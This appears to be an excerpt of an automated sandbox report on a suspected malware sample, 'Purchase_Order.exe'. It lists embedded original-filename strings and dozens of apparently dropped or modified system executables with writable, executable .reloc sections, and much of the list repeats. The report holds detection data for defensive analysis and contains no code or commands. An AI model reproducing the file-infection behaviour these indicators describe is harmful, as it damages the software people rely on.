Source: Purchase_Order.exe, 00000001.00000003.314059809.00000000047F0000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameose.exeJ vs Purchase_Order.exe
Source: Purchase_Order.exe, 00000001.00000003.379369577.0000000004AA0000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameWmiApSrv.exej% vs Purchase_Order.exe
Source: Purchase_Order.exe, 00000001.00000003.532289859.0000000001650000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameAu3Check.exeN vs Purchase_Order.exe
Source: Purchase_Order.exe, 00000001.00000003.750004926.0000000001640000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenamekeytool.exeN vs Purchase_Order.exe
Source: Purchase_Order.exe, 00000001.00000003.753439261.0000000001640000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenamektab.exeN vs Purchase_Order.exe
Source: Purchase_Order.exe Binary or memory string: OriginalFilenamePendulum.dll2 vs Purchase_Order.exe
Source: C:\Windows\System32\wbengine.exe Process token adjusted: Security
Source: jabswitch.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: java-rmi.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: java.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: javacpl.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: javaw.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ODeploy.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: javaws.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Setup.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: jjs.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: OLicenseHeartbeat.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: jp2launcher.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: SmartTagInstall.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: VSTOInstaller.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: java.exe0.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: javaw.exe0.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: javaws.exe0.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: msdtc.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: GoogleCrashHandler.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: GoogleCrashHandler64.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: msiexec.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: perfhost.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Locator.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: MsSense.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: SensorDataService.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: snmptrap.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Spectrum.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: keytool.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: kinit.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: klist.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: armsvc.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ktab.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: orbd.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: alg.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: pack200.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: policytool.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AppVClient.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: rmid.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: DiagnosticsHub.StandardCollector.Service.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: rmiregistry.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: FXSSVC.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: servertool.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: elevation_service.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ssh-agent.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: TieringEngineService.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AgentService.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: vds.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: VSSVC.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: wbengine.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: WmiApSrv.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: wmpnetwk.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: SearchIndexer.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: xbgmsvc.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ssvagent.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: tnameserv.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: unpack200.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: SQLDumper.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AdobeARMHelper.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: RdrServicesUpdater2_1901220035.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ChromeSetup.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: jabswitch.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: java-rmi.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: java.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: javacpl.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: javaw.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ODeploy.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: javaws.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Setup.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: jjs.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: OLicenseHeartbeat.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: jp2launcher.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: SmartTagInstall.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: VSTOInstaller.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: java.exe0.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: javaw.exe0.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: javaws.exe0.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: msdtc.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: GoogleCrashHandler.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: GoogleCrashHandler64.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: msiexec.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: perfhost.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Locator.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: MsSense.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: SensorDataService.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: snmptrap.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Spectrum.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: keytool.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: kinit.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: klist.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: armsvc.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ktab.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: orbd.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: alg.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: pack200.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: policytool.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AppVClient.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: rmid.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: DiagnosticsHub.StandardCollector.Service.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: rmiregistry.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: FXSSVC.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: servertool.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: elevation_service.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ssh-agent.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: TieringEngineService.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AgentService.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: vds.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: VSSVC.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: wbengine.exe.1.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
